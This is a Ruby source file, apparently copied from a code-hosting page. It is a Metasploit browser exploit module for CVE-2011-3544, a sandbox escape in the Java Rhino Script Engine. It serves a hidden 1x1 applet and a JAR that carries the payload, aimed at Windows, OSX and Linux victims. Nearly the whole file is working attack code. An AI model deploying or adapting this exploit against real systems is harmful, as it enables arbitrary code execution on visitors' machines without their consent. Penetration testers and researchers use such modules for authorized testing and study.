124 lines
3.4 KiB
Ruby
124 lines
3.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({ :javascript => false })
|
|
|
|
def initialize( info = {} )
|
|
super( update_info( info,
|
|
'Name' => 'Java Applet Rhino Script Engine Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the Rhino Script Engine that
|
|
can be used by a Java Applet to run arbitrary Java code outside of
|
|
the sandbox. The vulnerability affects version 7 and version 6 update
|
|
27 and earlier, and should work on any browser that supports Java
|
|
(for example: IE, Firefox, Google Chrome, etc)
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Michael Schierl', # Discovery
|
|
'juan vazquez', # metasploit module
|
|
'Edward D. Teach <teach[at]consortium-of-pwners.net>',
|
|
'sinn3r'
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2011-3544' ],
|
|
[ 'OSVDB', '76500' ],
|
|
[ 'ZDI', '11-305' ],
|
|
[ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
|
|
],
|
|
'Platform' => %w{ java linux win },
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (Java Payload)',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
}
|
|
],
|
|
[ 'Windows Universal',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'win'
|
|
}
|
|
],
|
|
[ 'Apple OSX',
|
|
{
|
|
'ARCH' => ARCH_X86,
|
|
'Platform' => 'osx'
|
|
}
|
|
],
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 18 2011'
|
|
))
|
|
end
|
|
|
|
|
|
def on_request_uri( cli, request )
|
|
if not request.uri.match(/\.jar$/i)
|
|
if not request.uri.match(/\/$/)
|
|
send_redirect(cli, get_resource() + '/', '')
|
|
return
|
|
end
|
|
|
|
print_status("#{self.name} handling request")
|
|
|
|
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
|
|
return
|
|
end
|
|
|
|
paths = [
|
|
[ "Exploit.class" ]
|
|
]
|
|
|
|
p = regenerate_payload(cli)
|
|
|
|
jar = p.encoded_jar
|
|
paths.each do |path|
|
|
1.upto(path.length - 1) do |idx|
|
|
full = path[0,idx].join("/") + "/"
|
|
if !(jar.entries.map{|e|e.name}.include?(full))
|
|
jar.add_file(full, '')
|
|
end
|
|
end
|
|
fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2011-3544", path ), "rb")
|
|
data = fd.read(fd.stat.size)
|
|
jar.add_file(path.join("/"), data)
|
|
fd.close
|
|
end
|
|
|
|
print_status("Sending Applet.jar")
|
|
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
|
|
|
|
handler( cli )
|
|
end
|
|
|
|
def generate_html
|
|
html = "<html><head></head>"
|
|
html += "<body>"
|
|
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
|
|
html += "</applet></body></html>"
|
|
return html
|
|
end
|
|
|
|
end
|